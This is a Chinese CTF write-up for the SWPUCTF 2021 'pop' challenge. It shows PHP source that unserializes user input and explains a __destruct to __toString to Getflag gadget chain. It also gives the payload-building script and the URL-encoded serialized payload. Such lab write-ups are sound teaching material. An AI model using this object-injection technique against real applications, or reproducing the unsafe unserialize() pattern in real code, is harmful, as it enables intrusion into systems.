[SWPUCTF 2021 新生赛]pop

admin 2023年3月11日23:33:27[SWPUCTF 2021 新生赛]pop已关闭评论43 views字数 2574阅读8分34秒阅读模式

题目例子

[SWPUCTF 2021 新生赛]pop

NSSCTF - [SWPUCTF 2021 新生赛]pop (ctfer.vip)

[SWPUCTF 2021 新生赛]pop

POP链在CTF比赛中,也算是老考点了,在我参加的几场比赛中,POP链都有考察到,太久没做题了,今天在刷靶场的时候,看到这一道题,写下来做个记录,也供各位师傅参考,大佬师傅勿喷~

GOGOGO

打开题目,拿到源码:

```
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
   if($this->admin === 'w44m' && $this->passwd ==='08067'){
       include('flag.php');
       echo $flag;
  }else{
       echo $this->admin;
       echo $this->passwd;
       echo 'nono';
  }
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>
```
拿到题目之后,看到有三个类,分别是w22m,w33m,w44m,新生赛,也没那么多花里胡哨的东西,有点经验的师傅,一眼就可以看出来整个POP链的基础结构,这里会进行细讲,毕竟有部分师傅还没接触过。

拿到源码后,大致看一眼整体后,主要我们最终要将w44m类里面的Getflag调用出来,然后修改admin=w44m和passwd=08067就可以调用include包含flag.php了。

个人观点:拿到源码后,可以先定位利用点,比如这里的利用点是w44m的Getflag,那么就可以往上推,查看哪个类可以调用w44m,一步步往上推。

题解

知道了可以利用的点,我们就可以往上推,把目光先聚集在类w33m,w33m类里面有一个魔术方法__toString()还有两个属性w00m和w22m,如果对魔术方法不是很理解的师傅们,可以先学习一下:PHP之十六个魔术方法详解 - SegmentFault 思否

toString主要是在当类被当成字符串使用echo或者print等输出函数输出时,会被调用

源码中,toString触发后,会执行$this->w00m->{$this->w22m}();这一串代码,针对如何调用w44m的Getflag函数,到这里就有答案了,可以将w00m设为new w44m去实例化w44m,如何再把w22m设为Getflag实现调用到这个类函数,但是怎么触发toString又是一个问题,继续往上跟进审计w22m类。

调用w22m类之后,会直接调用魔术方法__destruct

destruct函数是用于当类最后执行的,当类里面的东西执行完成后,就会调用destruct对类输出最后的信息,随即类就销毁

可以看到w22m类里面有一个属性w00m,然后destruct中使用了echo \$this->w00m,在上面说到了如果使用了输出函数去输出一个类实例的话,就会调用类里面的toString。

到了这里,整道题目的思路以及很清晰了,先使用w22m的echo函数去输出w33m类,然后w33m的类调用toString里面的\$this->w00m->{\$this->w22m}();,将w00m赋值为w44m,将w22m赋值为Getflag,再将w44m的admin和passwd赋值为题目给出的数,从而读取flag。

POP链:
w22m(destruct)->w33m(toString)->w44m(Getflag)

构造payload

```
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m{
public $w00m;
}

class w33m{
public $w00m;
public $w22m;
}
/
w22m(destruct)->w33m(tostring)->w44m(Getflag)
/
$w22m = new w22m();
$w33m = new w33m();
$w44m = new w44m();
$w22m->w00m = $w33m;
$w33m->w00m = $w44m;
$w33m->w22m = 'Getflag';
$ser = serialize($w22m);
echo urlencode($ser);

//输出O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
```

[SWPUCTF 2021 新生赛]pop

注意点

这里有两个点要注意一下,给这两个点绊了一下...

private和protected

private的意思是私有的,protected是受保护的,这两个不能再类外部进行赋值,所以只能再类内部进行定义。

%00

由于使用了privateprotected,所以在序列化的时候,会产生%00,但是%00会直接被忽略掉,所以这里要使用url编码,对整个payload进行编码,避免%00被忽略,引起不必要的失误。

直接将payload传入到url栏中,即可得到flag。

[SWPUCTF 2021 新生赛]pop

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月11日23:33:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [SWPUCTF 2021 新生赛]pophttps://cn-sec.com/archives/1599468.html